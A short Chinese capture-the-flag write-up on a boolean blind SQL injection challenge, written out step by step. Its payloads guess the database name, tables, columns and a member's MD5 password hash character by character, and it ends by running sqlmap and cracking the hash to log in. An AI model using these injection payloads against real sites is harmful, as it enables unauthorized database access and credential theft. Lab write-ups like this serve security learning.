题目明说是布尔盲注,所以直接通过if函数进行注入即可
先猜测下数据库的长度
id=1 and 1=if(lenfth(database())=10,1,2)
能看出来,数据库的长度是10,
接着猜数据库的名称,直接添加substr截取一位一位猜,最后猜出来数据库的名称是stromgroup
id=1 and 1=if(substr(database(),1,1)=‘s’,1,2)
接着猜库中包含的表有哪些,这个真的是手动搞了一个小时
id=1 and 1=if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘a’,1,2)–+
测出来第一个字母是m,接着慢慢修改,慢慢手动测试,得出第一个表是member,第二个表是notice,第三章表有没有不知道,没试。
既然知道有哪些表了,那么就慢慢猜表里面有哪些字段了
id=1 and 1=if(substr((select column_name from information_schema.columns where table_name like ‘%member%’ limit 0,1),1,1)=‘n’,1,2)
测试出是n开头后,凭借直觉测试应该出有两列分别是name,password。
列和表都有了,直接开始测试相应的字段的值吧
id=1 and 1=if(substr((select name from member limit 0,1),1,1)=‘m’,1,2)–+
能明显测试出来是mozhe的拼音而且有两个mozhe,按照题目的套路,肯定是第二个是正确答案,直接测试第二个的password,
id=1 and 1=if(substr((select password from member limit 1,1),1,1)=‘m’,1,2)–+
因为是md5的值,只能一个一个试了。
试出来的最终答案是:97fd70d9ca8aa02ea8dd67a3cc401ad3(手工太慢了,直接用sqlmap跑出来了)
解密后登录即可。